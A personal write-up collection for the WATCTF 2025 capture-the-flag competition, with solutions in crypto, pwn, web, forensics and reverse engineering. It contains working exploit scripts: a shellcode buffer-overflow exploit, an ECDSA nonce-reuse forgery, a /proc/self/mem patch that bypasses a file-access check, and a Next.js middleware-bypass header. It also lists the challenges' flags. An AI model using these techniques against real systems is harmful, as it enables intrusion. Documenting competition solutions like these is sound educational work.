# WATCTF 2025
Play with my team named "**mc3**". We still noobs 🙏.. Personally, I love solving some Binary Exploitation, Webex and Reverse Engineering

---
All of these write-ups were written by me, so I apologize for any mistakes.
## design-portofolio (Forensics)
Given the **pcap (Network Capture)** file and filtering the **HTTP** data. I saw **X-Flag-Chunk-***

So to make it easy, i just grab all **X-Flag-Chunk** with **strings** and put it all into **cyberchef** to make it easy identifying


In header we can see it a **PNG** file, so save it and open

FLAG: `watctf{steg0_over_http}`
## horse-drawn (Misc)
It just connecting the **SSH** but it can't reach end line of response. So here how to do it
```bash
ssh -tt hexed@challs.watctf.org -p 8022 | cat -v
```
FLAG: `watctf{im_more_of_a_tram_fan_personally}`
## curve-desert (Crypto)
Im not really good at crypto but the code was implements a custom ECDSA signer and verifier on the curve BRAINPOOLP512r1. Here the full code
```python=
from Crypto.Util.number import bytes_to_long, inverse
from pwn import *
import ecdsa, random, os
rem = remote("challs.watctf.org", 3788)
curve = ecdsa.curves.BRAINPOOLP512r1
gen, n = curve.generator, curve.order
challengeHex = rem.recvline().split()[2]
info(f"Challenge: {challengeHex}")
challenge = bytes.fromhex(challengeHex.decode())
# Signature
rem.sendlineafter(b"Choose an option:", b"1")
rem.sendlineafter(b"Input hex of message to sign:", b"01")
r1Number = rem.recvline().decode().split(" is: ")[1].split(" ")
r1, s1 = int(r1Number[0]), int(r1Number[1])
info(f"r1: {r1}, s1: {s1}")
rem.sendlineafter(b"Choose an option:", b"1")
rem.sendlineafter(b"Input hex of message to sign:", b"02")
r2Number = rem.recvline().decode().split(" is: ")[1].split(" ")
r2, s2 = int(r2Number[0]), int(r2Number[1])
info(f"r2: {r2}, s2: {s2}")
z1, z2 = bytes_to_long(b"\x01"), bytes_to_long(b"\x02")
# recover k
k = ( (z1 - z2) * inverse(s1 - s2, n) ) % n
# recover priv
priv = ((s1 * k - z1) * inverse(r1, n)) % n
# forge signature on challenge
z = bytes_to_long(challenge)
r = r1 # same r, since k same
s = (inverse(k, n) * (z + r*priv)) % n
# Verify
rem.sendlineafter(b"Choose an option:", b"2")
rem.sendlineafter(b"to verify:", challengeHex)
rem.sendlineafter(b"seperated by a space:", (str(r) + " " + str(s)).encode())
rem.interactive()
```
FLAG: `watctf{yeah_dont_share_the_k_parameter_it_doesnt_work_out}`
## 2p2t (Crypto)
It's just a simple RSA...
```python
from math import isqrt
N = 331952857868366988663932945877951080549278582595446041827767968625349664658283914707688360079014486835580798093875473318398665440196327017511963073666394378115620522693620625071360763670651867749935306771611365203669632958229266010553458203000895499490278056591308718235818336550276558946434347335414409026661
e = 65537
ct = 27392982072168505918328498224512439143304951239197916179225339049412270594576024668071218892690652612353376666973045187430259051892719839059780552668922042760370020764362839523844795479477997719361780814250593853162333527993824104731684172908271583213365558182307524519318252505075812038979585427505321346605
# factor N
p = q = None
for r in range(1, 1_000_000, 2): # odd r
D = r*r + 8*N
y = isqrt(D)
if y*y == D and (y-r) % 2 == 0:
m = (y-r)//2
if m % 2 == 0:
p = m//2
if p > 1 and N % p == 0:
q = N//p
break
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
pt = pow(ct, d, N)
flag = pt.to_bytes((pt.bit_length()+7)//8, "big")
print(flag.decode())
```
FLAG: `watctf{qu4dr4t1c_3qu4t10ns_l0ve_c0rr3l4t10n}`
## intro2pwn (Pwn)
Classic bufferoverflow with executable stack
```
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
```
```cpp!
__int64 __fastcall vuln(__int64 a1, __int64 a2, __int64 a3, int a4, int a5, int a6)
{
int v6; // edx
int v7; // ecx
int v8; // r8d
int v9; // r9d
char v11[72]; // [rsp+0h] [rbp-50h] BYREF
_printf_chk(2, (unsigned int)"Addr: %p\n", (unsigned int)v11, a4, a5, a6, v11[0]);
fflush(stdout);
_isoc99_scanf((unsigned int)"%s", (unsigned int)v11, v6, v7, v8, v9, v11[0]);
return 0LL;
}
```
Reach the bufferoverflow will be 72 and rest just spawn the shell, here the script
```python!
from pwn import *
context.update(arch="amd64", os="linux")
# p = process("./vuln")
# gdb.attach(p, gdbscript='''
# b *0x0000000000401910
# handle SIGSEGV stop print
# c
# ''')
p = remote("challs.watctf.org", 1991)
# Since NX is disabled, we can inject our shellcode
leak = p.recvline().strip().split()[-1]
buf = int(leak, 16)
log.success(f"buffer at {hex(buf)}")
# shellcode
sc = asm(shellcraft.sh())
buffer = 72 # Reach to stack
payload = sc.ljust(buffer, b"\x90")
payload += b"A" * 8 # Padding
payload += b"B" * 8 # RBP
payload += p64(buf)
log.hexdump(payload)
p.sendline(payload)
p.interactive()
```
FLAG: `watctf{g00d_j0b_s0m3t1m3s_on_old_machines_this_1s_3n0ugh}`
## gooses-typing-test (Web)
This is just typing speed test and need to reach 500wpm or more. So i just write some script and execute in on console
```js
const input = document.querySelector("input");
function newEvent(key) {
return new KeyboardEvent("keydown", {
key,
bubbles: true,
});
}
const firstChar = document.querySelectorAll("div > span")[1].innerText;
const left = document.querySelectorAll("div > span")[2].innerText;
// Trigger first
input.dispatchEvent(newEvent(firstChar));
// Trigger rest
for (let i = 0; i < left.length; i++) {
await (async () => {
await new Promise((resolve) => setTimeout(resolve, 10));
input.dispatchEvent(newEvent(left[i]));
})();
}
```
FLAG: `watctf{this_works_in_more_places_than_youd_think}`
## Waterloo Trivia Dash (Web)
There is 3 questions and the answer
```js
let a = [{
prompt: "Which research institute is based in Waterloo?",
options: ["CERN", "Perimeter Institute for Theoretical Physics", "Brookhaven National Laboratory", "Max Planck Institute"],
correctIndex: 1
}, {
prompt: "Which university is in Waterloo?",
options: ["Harvard University", "University of Waterloo", "UCLA", "ETH Z\xfcrich"],
correctIndex: 1
}, {
prompt: "Which tech company was famously founded in Waterloo?",
options: ["BlackBerry (RIM)", "Nokia", "Sony", "Xiaomi"],
correctIndex: 0
}];
```
After answering all question i get directed into /admin but its response with **307**


So this can be some NextJS vulnerability. Most popular is **Bypass Middleware**. So i just put the header with **x-middleware-subrequest** with **src/middleware:...**

FLAG: `watctf{next_js_middleware_is_cool}`
## hex-editor-xtended-v2 (Pwn)
I tried to analyze the code and get some interesting functions
```c!
void do_open_command(char *user_path) {
if(realpath(user_path, path) == NULL) {
perror("could not resolve path");
clear_path();
return;
}
if (startswith(path, "//")) {
puts("path has to start with a single slash");
clear_path();
return;
}
if (strncmp(path, "/secret.txt", strlen("/secret.txt")) == 0) {
puts("accessing /secret.txt not allowed");
clear_path();
return;
}
current_file = fopen(path, "r+");
if(current_file == NULL) {
if(errno == EACCES) {
// Let them try opening it for reading anyway
current_file = fopen(path, "r");
if(current_file == NULL) {
perror("Failed opening file for reading");
clear_path();
return;
}
file_is_readonly = true;
return;
}
perror("Failed opening file");
clear_path();
return;
}
file_is_readonly = false;
}
```
There is /secret.txt which i think that is our target, because there is none of description that we can read other files.
This could be **heap exploitation, bufferoverflow, ROP or something else**, but when i deep analyze it was not 😭😭 .. But in **do_open_command** allow us to open like **/etc/passwd**, **/proc/self/maps** and **/proc/self/mem**. As far i know, the challenge allow us to set any data (only when its not readonly)
```c
void do_set(uint64_t filepos, char byte) {
if(current_file == NULL) {
puts("You're not editing any files currently");
return;
}
if(file_is_readonly) {
puts("Can't change the contents of a readonly file");
return;
}
if(fseek(current_file, filepos, SEEK_SET) < 0) {
perror("failed seek");
return;
}
if(fputc(byte, current_file) < 0) {
perror("failed write");
}
}
```
And the **/proc/self/mem** is not readonly also it allow us. For more information about **/proc/self/mem** you can check here: https://blog.cloudflare.com/diving-into-proc-pid-mem/
Our target is clear now, we need write **/proc/self/mem**.. But where?? 😀. If i take a look the binary that i got
```b
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
```
It's very lucky that **PIE** was disabled, if not it will be more difficult. Im gonna look up the **strncmp** on **do_open_command**
```b
0x000000000040182e <+128>: mov edx,0xb
0x0000000000401833 <+133>: lea rax,[rip+0x95814] # 0x49704e
0x000000000040183a <+140>: mov rsi,rax
0x000000000040183d <+143>: lea rax,[rip+0xc5abc] # 0x4c7300 <path>
0x0000000000401844 <+150>: mov rdi,rax
0x0000000000401847 <+153>: call 0x401070
0x000000000040184c <+158>: test eax,eax
0x000000000040184e <+160>: jne 0x40186e <do_open_command+192>
0x0000000000401850 <+162>: lea rax,[rip+0x95809] # 0x497060
0x0000000000401857 <+169>: mov rdi,rax
0x000000000040185a <+172>: call 0x41a5a0 <puts>
0x000000000040185f <+177>: mov eax,0x0
0x0000000000401864 <+182>: call 0x401755 <clear_path>
0x0000000000401869 <+187>: jmp 0x401918 <do_open_command+362>
pwndbg> x/12s $rip+0x95814
0x497047: " slash"
0x49704e: "/secret.txt"
0x49705a: ""
0x49705b: ""
0x49705c: ""
0x49705d: ""
0x49705e: ""
0x49705f: ""
0x497060: "accessing /secret.txt not allowed"
0x497082: "r+"
0x497085: "r"
0x497087: ""
```
Our target address will be **0x49704e** and set any data to overwrite the /secret.txt.
```b
> open /proc/self/mem
> set 4812878 41
> set 4812879 41
> set 4812880 41
> set 4812881 41
> set 4812882 41
> open /secret.txt
```
After that, try to get the data
```b
> get 0
77
> get 1
61
> get 2
74
> get 3
63
> get 4
74
> get 5
66
```
Seems like its working, now wrapped all into script (**I dont use connect todo that, instead i use pexpect due the SSH connection issues**)
```python!
import pexpect
from pwn import *
# Spawn the SSH command
child = pexpect.spawn("ssh hexed@challs.watctf.org -p 2022")
def send(cmd):
child.expect(b"> ", timeout=5)
child.sendline(cmd)
def get(num):
payload = b"get " + str(num).encode()
child.expect(b"> ", timeout=5)
child.sendline(payload)
return child.read_nonblocking(len(payload) + len(str(num)) + 3).decode().split("\n")[1]
try:
# send("open /proc/self/maps") # Dump maps
# # Maps
# maps = ""
# # Dump all
# for x in range(0, 1024):
# maps += chr(int(get(x), 16))
# print(maps)
# We are allowed into write the /proc/self/mem
send("open /proc/self/mem")
# Prepare address to write
# $rip+0x95814
rodata = 0x49704e
# Send payload to overwrite the strncmp (patch)
for x in range(6):
info("Overwriting " + str(hex(rodata + x)))
send(b"set " + str(rodata + x).encode() + b" " + b"41") # Overwrite with A
# Re-open the secret.txt
info("Open secret.txt now")
send("open /secret.txt")
# Get flag
info("Dump all flags")
flag = ""
for x in range(0x100):
res = get(x)
print(res)
flag += chr(int(get(x), 16))
print(flag)
except pexpect.exceptions.TIMEOUT:
print("Timed out waiting for output")
except Exception as e:
print("Error:", str(e))
finally:
child.close()
```
```b
[*] Overwriting 0x49704e
[*] Overwriting 0x49704f
[*] Overwriting 0x497050
[*] Overwriting 0x497051
[*] Overwriting 0x497052
[*] Overwriting 0x497053
[*] Open secret.txt now
[*] Dump all flags
77
w
61
wa
74
wat
63
watc
74
watct
66
watctf
7b
watctf{
68
watctf{h
30
watctf{h0
70
watctf{h0p
33
watctf{h0p3
66
watctf{h0p3f
75
watctf{h0p3fu
6c
watctf{h0p3ful
6c
watctf{h0p3full
79
watctf{h0p3fully
5f
watctf{h0p3fully_
74
watctf{h0p3fully_t
68
watctf{h0p3fully_th
33
watctf{h0p3fully_th3
72
watctf{h0p3fully_th3r
33
watctf{h0p3fully_th3r3
5f
watctf{h0p3fully_th3r3_
77
watctf{h0p3fully_th3r3_w
34
watctf{h0p3fully_th3r3_w4
73
watctf{h0p3fully_th3r3_w4s
6e
watctf{h0p3fully_th3r3_w4sn
74
watctf{h0p3fully_th3r3_w4snt
5f
watctf{h0p3fully_th3r3_w4snt_
34
watctf{h0p3fully_th3r3_w4snt_4
6e
watctf{h0p3fully_th3r3_w4snt_4n
5f
watctf{h0p3fully_th3r3_w4snt_4n_
75
watctf{h0p3fully_th3r3_w4snt_4n_u
6e
watctf{h0p3fully_th3r3_w4snt_4n_un
31
watctf{h0p3fully_th3r3_w4snt_4n_un1
6e
watctf{h0p3fully_th3r3_w4snt_4n_un1n
74
watctf{h0p3fully_th3r3_w4snt_4n_un1nt
33
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3
6e
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3n
64
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd
33
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3
64
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d
5f
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_
61
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_a
67
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag
34
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag4
31
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag41
6e
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag41n
7d
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag41n}
0a
watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag41n}
```
FLAG: `watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag41n}`
## web-slinger-logs (misc)
Im not sure what vulnerability is this, but just take look how i solve this
```b
> logs
{
"login_attempts": [
{
"timestamp": "2025-09-09T09:22:45",
"date": "2025-09-09",
"user": "test1",
"password": "securepass2024_2025-09-09",
"type": "login_attempt",
"status": "success",
"reason": "valid_credentials"
},
]
}
> login test1 securepass2024
{
"Status": "400",
"Message": "Login failed: missing date suffix."
}
> login test1 securepass2024_2025-09-11
{
"Status": "200",
"Message": "Replay attack successful",
"flag": "watctf{web_slinger_replay_2025}"
}
```
FLAG: `watctf{web_slinger_replay_2025}`
## tfw-no-stack-locals (Rev)
I'm trying to decompile the **WASM** into C but it really-really alot garbage code. Trying to optimizing it and fall into rabbit hole due wrong encryption algorithm. So, i decide focus on read **memory buffer** for **0x0** to **0x200000** and found interesting data
```!
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d9 ff 00 00 77 61 74 63 74 66 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 00 00 99 ff 00 00 f8 c5 f5 0d 08 a4 87 19 5e aa df 51 22 68 80 0d 3e 11 09 85 b0 11 af 99 13 c1 fe e7 b5 c8 57 99 1b f8 d2 a8 96 0f ef c4 3b f2 b5 41 c0 d4 87 27 f4 1c ba 8d f2 21 d9 3d 00 00 00 00 59 ff 00 00 f8 c5 f5 0d 08 a4 bd 31 79 b4 e7 7f 16 76 ad 23 10 3b 17 ad 9f 24 81 87 3b f4 e0 d1 c0 fa 7b 87 6b ca cc dd b4 3a db e4 16 df 8d 5f b5 ca a4 57 c1 02 8c ff 82 12 fc 01 00 00 00 00 19 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
```
It's seemslike my input was write on that position and there is more on it. So i decide dump and find the offset

When i look through this, there is 7 byte are simmilar on **0x110048 and 0x110088**. I was trying input with "watctf{AAA...".. It seemslike the encrypted data was also stored in **memory buffer** which will make me easy to identify next character. So im just gonna edit the **check_flag** code into this
```js
export function check_flag(flag) {
const inputflag = (flag) => {
const ptr0 = passStringToWasm0(
flag.padEnd(56, "A"),
wasm.__wbindgen_malloc,
wasm.__wbindgen_realloc
);
const len0 = WASM_VECTOR_LEN;
const ret = wasm.check_flag(ptr0, len0);
return ret;
};
let bruteFlag = "watctf{";
flag = bruteFlag;
inputflag(flag);
function dumpHex(start, length, print = true) {
const u8 = new Uint8Array(wasm.memory.buffer, start, length);
let out = [];
for (let i = 0; i < u8.length; i++) {
out.push(u8[i].toString(16).padStart(2, "0"));
// if (
// u8[i] === 0xf8 &&
// u8[i + 1] === 0xc5 &&
// u8[i + 2] === 0xf5 &&
// u8[i + 3] === 0x0d &&
// u8[i + 4] === 0x08 &&
// u8[i + 5] === 0xa4 &&
// u8[i + 6] === 0xbd &&
// u8[i + 7] === 0x31 &&
// u8[i + 8] === 0x79
// ) {
// console.log("Match found! candidate produced correct bytes.");
// console.log("0x" + (start + i).toString(16), out.join(" "));
// }
}
if (print) {
console.log("0x" + start.toString(16), out.join(" "));
}
return out;
}
const sizeStack = 56;
const bufferEncFlag = 0x110088;
const bufferBruteFlag = bufferEncFlag - (8 + 56);
const bufferInputFlag = bufferEncFlag - (16 + 56 * 2);
dumpHex(bufferBruteFlag, sizeStack);
dumpHex(bufferEncFlag, sizeStack);
dumpHex(bufferInputFlag, sizeStack);
// Try brute
const charset =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_";
for (let pos = bruteFlag.length; pos < 56; pos++) {
let found = false;
for (const ch of charset) {
const candidate = bruteFlag + ch;
inputflag(candidate);
// Dump the hex
// console.log(candidate);
const bruteRes = dumpHex(bufferBruteFlag, pos + 1, false)[pos];
const encRes = dumpHex(bufferEncFlag, pos + 1, false)[pos];
const inputRes = dumpHex(bufferInputFlag, pos + 1, false)[pos];
if (bruteRes == encRes) {
// console.log(bruteRes, encRes, inputRes);
// return;
bruteFlag += ch;
console.log(`0x` + (bufferBruteFlag + pos + 1).toString(16), bruteFlag);
break;
}
}
}
}
```

FLAG: `watctf{if_you_look_into_it_w4sm_1s_4ctually_4_b1t_w31rd}`
# The end